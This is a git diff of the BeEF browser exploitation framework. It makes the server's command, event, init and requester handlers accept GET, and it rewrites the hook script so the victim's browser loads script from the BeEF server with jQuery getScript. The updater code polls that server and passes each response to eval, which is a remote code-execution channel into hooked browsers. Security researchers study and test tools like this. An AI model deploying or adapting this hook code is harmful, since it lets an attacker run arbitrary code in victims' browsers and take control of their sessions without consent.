diff --git a/lib/server/commandhandler.rb b/lib/server/commandhandler.rb index 2abd1139b..54061acf3 100644 --- a/lib/server/commandhandler.rb +++ b/lib/server/commandhandler.rb @@ -51,6 +51,8 @@ module BeEF response.body = @body end + alias do_GET do_POST + private @request diff --git a/lib/server/eventhandler.rb b/lib/server/eventhandler.rb index 109a0afc9..b071a276e 100644 --- a/lib/server/eventhandler.rb +++ b/lib/server/eventhandler.rb @@ -52,6 +52,8 @@ module BeEF response.body = '' end + alias do_GET do_POST + end end \ No newline at end of file diff --git a/lib/server/inithandler.rb b/lib/server/inithandler.rb index 51b807a6e..461028ff0 100644 --- a/lib/server/inithandler.rb +++ b/lib/server/inithandler.rb @@ -99,7 +99,8 @@ module BeEF end - alias do_OPTIONS do_POST + alias do_OPTIONS do_POST + alias do_GET do_POST # returns a selected parameter from the query string. def get_param(query, key) diff --git a/lib/server/requesterhandler.rb b/lib/server/requesterhandler.rb index a6630a783..b553c3afe 100644 --- a/lib/server/requesterhandler.rb +++ b/lib/server/requesterhandler.rb @@ -60,6 +60,8 @@ module BeEF response.body = '' end + alias do_GET do_POST + end end \ No newline at end of file diff --git a/modules/beefjs/net.js b/modules/beefjs/net.js index 50b3589c5..edcc4e817 100644 --- a/modules/beefjs/net.js +++ b/modules/beefjs/net.js @@ -8,24 +8,7 @@ beef.net = { beef_url: "<%= @beef_url %>", beef_hook: "<%= @beef_hook %>", beef_queue: [], - - /** - * Gets an object that can be used for ajax requests. - * - * @example: var http = beef.net.get_ajax(); - */ - get_ajax: function() { - - // try objects - try {return new XMLHttpRequest()} catch(e) {}; - try {return new ActiveXObject('Msxml2.XMLHTTP')} catch(e) {}; - try {return new ActiveXObject('Microsoft.XMLHTTP')} catch(e) {}; - - // unsupported browser - console.log('You browser is not supported') - console.log('please provide details to dev team') - return false; - }, + /** * Build param string from hash. @@ -60,34 +43,20 @@ beef.net = { /** * Performs http requests. * @param: {String} the url to send the request to. - * @param: {String} the method to use: GET or POST. + * @param: {String} the method to use: GET or POST - **NOTE** This param now ignored * @param: {Function} the handler to callback once the http request has been performed. * @param: {String} the parameters to send for a POST request. * * @example: beef.net.raw_request("http://beef.com/", 'POST', handlerfunction, "param1=value1¶m2=value2"); */ - raw_request: function(url, method, handler, params) { - var http; - var method = method || 'POST'; - var params = params || null; - var http = this.get_ajax() || null; - - http.open(method, url, true); - - if(handler) { - http.onreadystatechange = function() { - if (http.readyState == 4) handler(http.responseText); - } - } - - http.send(params); - + raw_request: function(url, method, handler, params) { + $j.getScript( url + '?' + params); }, /** * Performs http requests with browoser id. * @param: {String} the url to send the request to. - * @param: {String} the method to use: GET or POST. + * @param: {String} the method to use: GET or POST - **NOTE** This param now ignored * @param: {Function} the handler to callback once the http request has been performed. * @param: {String} the parameters to send for a POST request. * diff --git a/modules/beefjs/updater.js b/modules/beefjs/updater.js index e360dbe47..b33fb5f93 100644 --- a/modules/beefjs/updater.js +++ b/modules/beefjs/updater.js @@ -50,7 +50,12 @@ beef.updater = { beef.net.request( beef.net.beef_url + beef.net.beef_hook, 'POST', - function(response) { if(response.length > 0) {eval(response); beef.updater.execute_commands();} }, + function(response, textStatus) { + if(response != null && response.length > 0) { + eval(response); + beef.updater.execute_commands(); + } + }, beef.updater.build_updater_params() ); } catch(e) {